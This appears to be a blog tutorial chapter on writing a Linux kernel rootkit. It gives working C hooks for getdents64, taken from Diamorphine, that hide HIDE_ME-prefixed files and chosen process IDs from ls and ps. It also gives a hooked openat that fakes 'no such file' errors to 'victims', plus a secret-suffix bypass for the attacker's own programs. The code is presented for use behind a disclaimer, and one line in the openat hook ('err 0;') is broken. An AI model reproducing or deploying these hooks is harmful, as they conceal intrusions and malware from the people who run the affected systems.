Every technique used in this rootkit can be found from internet, I am NOT responsible for any damage you might cause using my code
what you will learn
- how to hide files
- how to hide processes
- how to hide them better so they cant be bruteforced
- asmlinkage and related reversing techniques
hide file/dir/proc
to list items under a dir, we call getdents
/getdents64
, you can verify this by executing strace ls
in your terminal
heres an example from diamorphine
asmlinkage long
hooked_getdents64(unsigned int fd, struct linux_dirent64 __user* dirent,
unsigned int count)
{
int ret = orig_getdents64(fd, dirent, count), err;
unsigned short proc = 0;
unsigned long off = 0;
struct linux_dirent64 *dir, *kdirent, *prev = NULL;
struct inode* d_inode;
if (ret <= 0)
return ret;
kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
/*&& MINOR(d_inode->i_rdev) == 1*/)
proc = 1;
while (off < ret) {
dir = (void*)kdirent + off;
if ((!proc && (memcmp(HIDE_ME, dir->d_name, strlen(HIDE_ME)) == 0))
|| (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void*)dir + dir->d_reclen, ret);
continue;
}
prev->d_reclen += dir->d_reclen;
} else
prev = dir;
off += dir->d_reclen;
}
err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
out:
kfree(kdirent);
return ret;
}
in diamorphine, the type of this function is asmlinkage int
, actually it doesnt matter in this context, but it might in others:
syscalls are of type long
, thus, when a user space program such as glibc depends on its return value, it expects a long int
, if you feed it with int
, things will go very wrong
in getdents64
, the output buf is given in its params list: struct linux_dirent64 __user* dirent
what is __user
? its a marker, meaning this pointer resides in user space, which is why we use copy_to_user()
to write to its buf
to change this output buf, first we need to get the original output, by calling the original syscall getdents64
, assuming orig_getdents64
:
int ret = orig_getdents64(fd, dirent, count), err;
after gaining dirent
, we need to check if it contains entries we want to hide. as i just said, we cant read a user space pointer, so we copy_from_user
, now the buf is in kdirent
read kdirent
, filter anything we want to hide, and copy_to_user
eventually, output goes to user space dirent
, job is done
wait, what about procs?
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev))
proc = 1; // we found current fd is a /proc dir
this piece of code checks if current fd
points to proc fs, if yes, we say we are ls
ing a /proc
dir
i_ino
is inode number, representing its index number in linux vfs (virtual filesystem), PROC_ROOT_INO
is defined as 1
:
/* /include/linux/proc_ns.h */
/*
* We always define these enumerators
*/
enum {
PROC_ROOT_INO = 1,
PROC_IPC_INIT_INO = 0xEFFFFFFFU,
PROC_UTS_INIT_INO = 0xEFFFFFFEU,
PROC_USER_INIT_INO = 0xEFFFFFFDU,
PROC_PID_INIT_INO = 0xEFFFFFFCU,
PROC_CGROUP_INIT_INO = 0xEFFFFFFBU,
};
so if an inode's i_ino
equals PROC_ROOT_INO
, its name will be /proc
next we need to take a look at dirent
struct, which holds a directory entry (can be either a file or a sub directory)
// this is what dirent looks like
// pay attention to d_name
struct linux_dirent64 {
ino64_t d_ino; /* 64-bit inode number */
off64_t d_off; /* 64-bit offset to next structure */
unsigned short d_reclen; /* Size of this dirent */
unsigned char d_type; /* File type */
char d_name[]; /* Filename (null-terminated) */
};
how the filter works:
while (off < ret) {
dir = (void*)kdirent + off;
if ((!proc && (memcmp(HIDE_ME, dir->d_name, strlen(HIDE_ME)) == 0))
|| (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void*)dir + dir->d_reclen, ret);
continue;
}
prev->d_reclen += dir->d_reclen;
} else
prev = dir;
off += dir->d_reclen;
}
err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
this loop goes thro the result (an array of dirent
) returned by getdents64
, check each entry if it:
- is under
/proc
and isinvisible
- has a
HIDE_ME
prefix
filter it when either of the above are met
the former effectively hide the process itself
hide better
no we are not done with file hiding, because our "hidden" files can still be open
ed and read.
perhaps you dont care, coz you might think no one knows what you may named your files, but theres one exception, the procfs
as we all know, /proc
has a lot of numeric sub-directories, which are PIDs of the currently running processes. PIDs can be bruteforced, no doubt
assume you hide your PID directory from getdents
/getdents64
so ps
is not aware of the existence of your process. the thing is, however, i can do ls /proc/1
to ls /proc/ULONG_MAX
, as long as your process is alive, i can find it
to solve this issue, we need to hijack open
at least
open/openat
modern glibc use openat
in many cases, while older versions use open
, the difference:
The openat() system call operates in exactly the same way as open(), except for the differences described here.
If the pathname given in pathname is relative, then it is interpreted relative to the directory referred to by the file descriptor dirfd (rather than relative to the current working directory of the calling process, as is done by open() for a relative pathname).
If pathname is relative and dirfd is the special value AT_FDCWD, then pathname is interpreted relative to the current working directory of the calling process (like open()).
If pathname is absolute, then dirfd is ignored.
changelog:
openat() was added to Linux in kernel 2.6.16; library support was added to glibc in version 2.4.
we dont care about their differences, we are going to hijack both
declarations:
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
int creat(const char *pathname, mode_t mode);
int openat(int dirfd, const char *pathname, int flags);
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
how to
i am gonna omit the "how to hijack" part, as i have done that in previous chapter
heres the code:
asmlinkage long
hooked_openat(int dirfd, const char __user* pathname, int flags, int mode)
{
int err;
err 0;
// cannot use user-mode pointer in kernel
char* kpathname;
kpathname = NULL;
int pathlen = strnlen_user(pathname, 256);
kpathname = kzalloc(pathlen, GFP_KERNEL);
if (kpathname == NULL)
return -ENOENT;
err = copy_from_user(kpathname, pathname, pathlen);
if (err)
return -EACCES;
// check for keyword
if (strstr(kpathname, HIDE_ME) != NULL) {
/* printk("Got a hit\n"); */
kfree(kpathname);
return -ENOENT;
}
kfree(kpathname);
// execute original syscall
return orig_openat(dirfd, pathname, flags, mode);
}
this function checks if pathname
contains HIDE_ME
, returns -ENOENT
if yes
theres a problem, though, our userspace programs still need to open
that hidden file. so we will need to implement something to whitelist our applications
i thought of a solution: magic suffix,
when our userspace programs need to open a hidden file, it append a passphrase to target pathname: /path/to/file---HIDE_ME---s3cr3t
improved code:
// check for keyword
if (strstr(kpathname, HIDE_ME) != NULL && strstr(kpathname, SECRET) == NULL) {
/* printk("Got a hit\n"); */
kfree(kpathname);
return -ENOENT;
}
when opening pathname
with SECRET
suffix, we drop the suffix and use orig_openat
to open the target file
as for procfs, addtional check is needed, everthing under our hidden /proc/PID
should be hidden too
serveral tips:
pathname
is from user space, thuscopy_from_user
magic is required- function type must be
long
, ive triedint
, it returnsUINT_MAX - 2
instead of-2
(-ENOENT) -ENOENT
means no such file or directory
basically we just check the pathname
pointer, and act accordingly. here i simply return an -ENOENT
so victims think the target file is non-existence
open
is the same thing, except for dirfd
parameter. we dont care about how open
opens a file, we just let the original open
do the job
asmlinkage???
The asmlinkage tag is one other thing that we should observe about this simple function. This is a #define for some gcc magic that tells the compiler that the function should not expect to find any of its arguments in registers (a common optimization), but only on the CPU's stack. Recall our earlier assertion that system_call consumes its first argument, the system call number, and allows up to four more arguments that are passed along to the real system call. system_call achieves this feat simply by leaving its other arguments (which were passed to it in registers) on the stack. All system calls are marked with the asmlinkage tag, so they all look to the stack for arguments. Of course, in sys_ni_syscall's case, this doesn't make any difference, because sys_ni_syscall doesn't take any arguments, but it's an issue for most other system calls. And, because you'll be seeing asmlinkage in front of many other functions, I thought you should know what it was about.
It is also used to allow calling a function from assembly files.
- if you dont know how function calls work, you probably need some fundamental reverse engineer knowledge, i recommend reading this as a start
sys_ni_syscall
, meaning "not-implemented syscall", takes no arguments- What is the 'asmlinkage' modifier meant for? - stackoverflow
a quote from stackoverflow:
Note that the first parameters of the Linux kernel functions are passed in registers on x86 by default. On x86-32 the first 3 parameters are passed in %eax, %edx and %ecx, in that order, the rest go on stack. The functions with variable argument lists are an exception, they get all their arguments on stack on x86-32. On x86-64, the first 6 parameters are passed in %rdi, %rsi, %rdx, %rcx, %r8, %r9 (even for the functions with varargs), in that order, the rest - on the stack. The system calls follow different conventions though. – Eugene May 5 '12 at 8:10
(continued) As @dirkgently noted, asmlinkage is a way to override thу default conventions on parameter passing. See also a detailed description of various calling conventions in Agner Fog's manual. – Eugene May 5 '12 at 8:15
Comments
comments powered by Disqus